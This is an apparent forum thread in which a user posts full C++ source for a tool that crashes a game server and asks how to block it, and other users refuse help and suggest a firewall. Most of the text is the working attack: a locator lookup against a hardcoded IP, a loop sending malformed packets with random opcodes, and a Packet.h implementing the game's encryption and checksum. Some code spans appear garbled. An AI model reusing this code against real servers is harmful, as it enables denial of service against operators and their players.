Blocking Packet From This Application Source

[lolster]

Hello there, I'm trying to understand this source code to block the packet send to the application I'm using right now.
Basicly this source code is for making application that will crash the application that Im using atm.
I have no basic C++ knowledge. I hope someone could explain this to me.

Here is the Application Source Code
Revolution.cpp

#include <stdio.h>
#include <Windows.h>
#include "Packet.h"

#pragma comment (lib, "WS2_32")

 typedef struct Host
 {
	 char szIP[64];
	 short nPort;
 }*LPHOST;
 
LPHOST GetHostFromLocator()
{
	WSADATA wsaData;
	WSAStartup (MAKEWORD (2,2), &wsaData);
	LPHOST lpHost = new Host();
	int nRecv = 0;
	PCHAR  lpBuffer = new char[4096];
	SOCKET fd = socket (AF_INET, SOCK_DGRAM, 0);
	
	sockaddr_in sockAddr;
	sockAddr.sin_addr.S_un.S_addr = INADDR_ANY;
	sockAddr.sin_port = htons (7900);
	sockAddr.sin_family = AF_INET;

	sockaddr_in serverAddr;
	serverAddr.sin_addr.S_un.S_addr = inet_addr ("67.212.81.85");
	serverAddr.sin_port = htons (8900);
	serverAddr.sin_family  = AF_INET;
	int nSize = sizeof(sockaddr);

	while (true)
	{
		sendto (fd, "\x64\x00\x0b\x00\x73\x00\x05\x00\x41\x9c\x00", 11, 0, (sockaddr *)&serverAddr, sizeof(sockaddr));
		nRecv = recvfrom (fd , lpBuffer, 40*** 0, (sockaddr *)&serverAddr, &nSize);
		if (nRecv < 1)
		{
			printf ("Failed to connect. Retrying\n");
			Sleep (30000);
			continue;
		}

		if (nRecv > 6 && lpBuffer[0] == 100)
		{
			in_addr a;
			memcpy (&a, lpBuffer+23, 4);
			
			int port = 0;
			memcpy (&port, lpBuffer+27, 4);

			strcpy (lpHost->szIP, inet_ntoa (a));
			lpHost->nPort = port;
			return lpHost;
		}
	}
	return NULL;
}

int main()
{
	unsigned short packetIDs[] = 
	{
		0x144, 0x145, 0x3F3, 0x3F4, 0x44D, 0x4BD,  0x4D1, 0x5AC, 0x57A, 0x52A, 0x522, 0x4C6, 0x584, 0x585, 0x5B6, 0x5DE, 0x6A5, 0x6A6, 0x6B8, 
		0x6A8, 0x6AA, 0x6b6, 0x70a, 0x70c, 0x178,  0x71E, 0x728, 0x72D, 0x607, 0x610, 0x623, 0x619, 0x61B, 0x770, 0x7E0, 0x7E8, 0x7EA, 0x7EB,
		0x803, 0xC1C, 0x177E, 0x17A3, 0x17A6, 0x1FA, 0x5209, 0x520E, 0x17D8, 0x5217, 0x9C42, 0x1F45, 0x1F43, 0x1F44, 0x723
	};
	SOCKET fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
	sockaddr_in sockAddr;
	PBYTE lpBuffer;
	PCHAR lpTemp = "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF";
	PBYTE lpKey = new BYTE[32];
	ZeroMemory (lpKey, 32);
	while (true)
	{
		LPHOST lpHost = GetHostFromLocator();
		
		if (lpHost == NULL)
		{
			Sleep (5000);
			continue;
		}
		printf ("Connecting to: %s:%i\n", lpHost->szIP, lpHost->nPort);
		fd = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
		sockAddr.sin_addr.S_un.S_addr = inet_addr (lpHost->szIP); 
		sockAddr.sin_family = AF_INET;
		sockAddr.sin_port = htons (lpHost->nPort); 
		
		if (connect (fd, (sockaddr *)&sockAddr, sizeof(sockaddr)) == SOCKET_ERROR)
		{
			continue;
		}

		CPacket* lpPacket = new CPacket (40*** lpKey);
		unsigned short id = packetIDs[rand() % (sizeof(packetIDs)-1)];
		printf ("Crashing with: %X\n", id);
		lpPacket->MakeCommand (id, 0);
		lpPacket->WriteData(lpTemp, 64);
		lpBuffer = lpPacket->FinalizePacket (100);
		send (fd, (PCHAR)lpBuffer, lpPacket->mSize+8, 0);
		printf ("Sent Packet.\n");


		closesocket (fd);
		delete lpPacket;
		
		Sleep (50);
	}
}

Packet.h Source Included on the next reply

[lolster]

Packet.h Source

/* -----------------------------------------
   File: Packet.h
   Usage: Contains the full packet class for reading / writing to the initial buffer.
   Author: Phail
   -----------------------------------------*/
class CPacket
{
	public:
		unsigned char *mData;
		unsigned char mKey[32];
		short mSize;
	
		unsigned char *BuildKey(char *pPacket)
		{
			byte Xor[] = { 0x57, 0x02,0x5B,0x04,0x34,0x06,0x01,0x08,0x37,0x0A,0x12,0x69,0x41,0x38,0x0F,0x78 };
			byte mBytes[] = { 0x37,0x04,0x5D,0x2E,0x43,0x38,0x49,0x53,0x50,0x05,0x13,0xC9,0x28,0xA4,0x4D,0x05 }; //GameNao!
			unsigned int szTmp = 0,szTmp2 = 0,szTmp3 = 0;
			memcpy(mKey,pPacket+12,4);
			memcpy(mKey+4,pPacket,12);
			memcpy(mKey+16,mBytes,16);
			for(int i=0; i<4; ++i)
			{
				memcpy(&szTmp,Xor+(i*4),4);
				memcpy(&szTmp2,mKey+(i*4),4);
				szTmp3 = szTmp ^ szTmp2;
				memcpy(mKey+(i*4),&szTmp3,4);
			}
			return (unsigned char *)mKey;
		}
		void Encrypt(unsigned char *szBuffer, int iStart, int iLength)
		{
			for(int i=0; i < iLength; ++i)
			{
				unsigned short a = szBuffer[iStart+i];
				a ^=mKey[i%32];
				a <<= 3;

				byte b = (byte)(a >> 8);
				b |= (byte)(a & 0xFF);
				b ^= 0xF0;
				szBuffer[iStart + i] = (byte)b;
			}
		}


		void Decrypt(unsigned char *szBuffer, int iStart, int iLength)
		{           
			for (int i = 0; i < iLength; ++i)
			{
				byte a = szBuffer[iStart + i];
				a ^= 0x0F0;
				byte b = (byte)(7 & a);
				b <<= 5;
				a >>= 3;
				b = (byte)(a | b);
				szBuffer[iStart+i] = (byte)(b ^ mKey[i % 32]);
			}
		}



		unsigned short Checksum(unsigned char *szBuffer, int iStart, int iLength)
		{
			unsigned int uiSum = (unsigned int)(szBuffer[iStart] + szBuffer[iStart+1] + szBuffer[iStart+2] + szBuffer[iStart+3]),uiSum2=0,uiSum3=0,uiSum4=0;
			for(int i=6; i < iLength; ++i) uiSum2 += szBuffer[i];
			uiSum3 = uiSum2 - uiSum;
			uiSum4 = uiSum3 >> 0x10;
			uiSum3 += uiSum4;
			return (unsigned short)uiSum3;
		}
		void WriteData(void *pData, short pLength)
		{
			char cZero = 0x00;
			if(pData == 0)
			{
				for(int i=0; i < pLength; i++)
				{
					memcpy(mData+mSize,&cZero,1);
					mSize++;
				}
			}
			else
			{
				memcpy(mData+mSize,pData,pLength);
				mSize += pLength;
			}
		}

		void WriteString(char *szBuffer)
		{
			short wSize = strlen(szBuffer)+1;
			WriteData(&wSize,2);
			WriteData(szBuffer,wSize);
		}


		short ReadShort()
		{
			short s = 0;
			memcpy(&s,mData+mSize,2);
			mSize+=2;
			return s;
		}
		char *ReadString()
		{
			short wSize = ReadShort();
			char *szString = (char *)malloc(wSize);
			memset(szString,0,wSize);
			memcpy(szString,mData+mSize,wSize);
			mSize+=wSize;
			return szString;
		}
		byte ReadByte()
		{
			byte out = mData[mSize];
			mSize++;
			return out;
		}
		long ReadLong()
		{
			long out = 0;
			memcpy(&out,mData+mSize,4);
			mSize+=4;
			return out;
		}
		byte *ReadArray(short iSize)
		{
			byte *bArray = new byte[iSize];
			memset(bArray,0,iSize);
			memcpy(bArray,mData+mSize,iSize);
			mSize+=iSize;
			return bArray;
		}
		short GetLen(int iLast)
		{
			short wOut = 0;
			for(int i=mSize; i < iLast; i++,wOut++)
			{
				if(mData[i] == 0){
					wOut++;
					break;
				}							
			}
			return wOut;
		}
		void SkipByte(short wSize)
		{
			mSize+=wSize;
		}
		void SetPos(short pVal)
		{
			mSize = pVal;
		}
		void WriteShort(short pIn)
		{
			memcpy((mData+mSize),&pIn,2);
			mSize+=2;
		}
		void MakeCommand(short wCommand,byte val)
		{
			char cPacketId = val;

			memcpy(mData,&wCommand,2);
			memcpy(mData+2,&cPacketId,1);

			mSize += 3;
		}
		unsigned char *FinalizePacket(unsigned short wVersion)
		{
			unsigned short wLen = mSize + 8;
			unsigned short wLen2 = mSize+2;
			unsigned short wChecksum = 0;
			unsigned char *szPacket = new unsigned char[wLen];
			byte bZero[] = {0x0,0x0};
			
			memset(szPacket,0,wLen);
			memcpy(szPacket,&wVersion,2);
			memcpy(szPacket+2,&wLen,2);

			if(wVersion == 0x65)Encrypt(szPacket,2,2);
			
			memcpy(szPacket+4,&bZero,2);
			memcpy(szPacket+6,&wLen2,2);
			memcpy(szPacket+8,mData,mSize);
		
			if(wVersion == 0x65)Encrypt(szPacket,6,mSize+2);
			wChecksum = Checksum(szPacket,0,wLen);
			memcpy(szPacket+4,&wChecksum,2);

			return szPacket;
		}


		CPacket(int pLen,unsigned char pKey[32])
		{
			mData = (unsigned char *)malloc(pLen);
			memset(mData,0,pLen);
			mSize = 0;
			memcpy(mKey,pKey,32);
		}

		CPacket(unsigned char *pDecrypted, short pStart, short pSize)
		{
			mData = (unsigned char *)malloc(pSize);
			memset(mData,0,pSize);
			memcpy(mData,pDecrypted,pSize);
			mSize = pStart;
		}

		CPacket(unsigned char pKey[32])
		{
			memcpy(mKey,pKey,32);
		}

		CPacket(){}
		~CPacket()
		{
			free((void *)mData);
			mSize = 0;
		}

};

[lolster]

bump T_T please help me

[lolster]

bump

[Salem]

> Basicly this source code is for making application that will crash the application that Im using atm.
And this is where you lost all credibility, and any chance of getting any help on this forum.

We're simply not interested in helping people like you, who download someone else's malware crap, and attempt to get it working for themselves.

[lolster]

> Basicly this source code is for making application that will crash the application that Im using atm.
And this is where you lost all credibility, and any chance of getting any help on this forum.

We're simply not interested in helping people like you, who download someone else's malware crap, and attempt to get it working for themselves.

Did you even read the post? Im not even trying to get it work for my self, In fact, I'm trying to find a way how to block it. With my current knowledge in C++, I'm not even near to find a way to block this stuff. The people who have successfully compiled this stuff has been attacking me due to the fact that I'm running stuff for free which gain a lot of attention from other. I'm in learning progress in C++, and there is no way for me to stop the people that been using this application to disturb me. This stuff is killing me. please at least read...
Right now Im reading some ezine, Watching some guide in youtube, and some online programing tutorial. I cant master this C++ in 100day.

My current knowledge in C++
the hello world
Function thingy(10%) the
int main stuff
ccout <<
shortcut..
that all

I found out that the guide posted here is very hard to understand.
(English is not my main language)

[lolster]

bump

[Acrimonus]

Blocking packets and other unauthorized access? It's called a firewall. Keep the ports closed, your system malware free (relatively), and use some common security tips (activex is bad, macros are a big no no unless you know the document, avoid warez sites, etc) and you shouldn't have an issue with malicious packets being sent to an unrelated application.

On the other hand if you are trying to design something to block USEFUL packets to a unrelated application then you are designing and/or tinkering with malicious code and you will get no help from me. And doubt the population of Daniweb will help you either.

[lolster]

Blocking packets and other unauthorized access? It's called a firewall. Keep the ports closed, your system malware free (relatively), and use some common security tips (activex is bad, macros are a big no no unless you know the document, avoid warez sites, etc) and you shouldn't have an issue with malicious packets being sent to an unrelated application.

On the other hand if you are trying to design something to block USEFUL packets to a unrelated application then you are designing and/or tinkering with malicious code and you will get no help from me. And doubt the population of Daniweb will help you either.

If i block my port my application wont work anymore. Im trying to block the packet because the packet is Crashing my server. People use it on purpose to crash my server. But anyway.. Ty for the advice I may flee now..its not that Im saying this daniweb is a website but.. the people in this site is all full of ego. Ty I wont never come back here. Please delete my account and this thread.